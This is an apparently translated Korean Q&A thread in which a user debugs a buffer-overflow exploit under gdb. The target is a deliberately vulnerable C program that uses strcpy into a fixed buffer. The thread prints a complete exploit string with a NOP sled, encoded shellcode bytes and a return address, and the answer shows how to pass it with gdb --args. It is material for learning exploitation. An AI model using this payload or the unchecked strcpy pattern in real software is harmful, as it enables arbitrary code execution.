2012-10-06 3 views
0

C 프로그램에서 쉘 코드를 명령 줄 인수로 전달하려고합니다. 하지만 gdb는 계속 SyntaxError를 제공합니다. 내가 도대체 ​​뭘 잘못하고있는 겁니까? 다음은 Shellcode가 gdb에서 SyntaxError를 제공합니다.

는 C 프로그램의 내용과 쉘 코드입니다 :

vulnerable.c

 
#include <stdio.h> 
#include <string.h> 

void evilfunction(char *input) 
{ 
    char buffer[1000]; 
    strcpy(buffer, input); 
} 

int main(int arc, char** argv) 
{ 
    evilfunction(argv[1]); 
    return 0; 
} 

내가 gdb를 실행하고있어 명령은 다음과 같습니다

 
run $(python -c 'print “\x90” * 400 + "\xd9\xd0\xbd\xae\x95\x1b\xb9\xd9\x74\x24\xf4\x58\x33\xc9\xb1\x0d\x31\x68\x18\x03\x68\x18\x83\xc0\xaa\x77\xee\xd3\x89\x2f\x88\x6c\x56\xe0\xc8\x05\xc6\xd0\x7f\xbe\x16\x7c\xc8\xb7\xf1\xea\xe5\xa4\xfd\xea\xbd\xa3\x1b\xb8\xd5\xbe\xe3\x3d\x26\x90\x81\x54\x48\xc1\x21\xc6\xe7\x75\xa9\x5e\x5f\xce\x20\xb8\x50\xcb" + “\x90” * 549 + “\x4c\x04\x40”') 
+2

인쇄상의 따옴표를 일반적인 것으로 바꾸시겠습니까? – DCoder

+0

해결 됨 고맙습니다! – green

답변

1

당신 GDB 프롬프트에서 쉘 구문을 사용하려고합니다. GDB는 하위 명령에 대한 쉘 구문을 지원하지 않습니다. 대신 다음을 시도해보십시오.

gdb --args ./a.out $(python -c 'print “\x90” * 400 + "\xd9\xd0\xbd\xae\x95\x1b\xb9\xd9\x74\x24\xf4\x58\x33\xc9\xb1\x0d\x31\x68\x18\x03\x68\x18\x83\xc0\xaa\x77\xee\xd3\x89\x2f\x88\x6c\x56\xe0\xc8\x05\xc6\xd0\x7f\xbe\x16\x7c\xc8\xb7\xf1\xea\xe5\xa4\xfd\xea\xbd\xa3\x1b\xb8\xd5\xbe\xe3\x3d\x26\x90\x81\x54\x48\xc1\x21\xc6\xe7\x75\xa9\x5e\x5f\xce\x20\xb8\x50\xcb" + “\x90” * 549 + “\x4c\x04\x40”') 
(gdb) run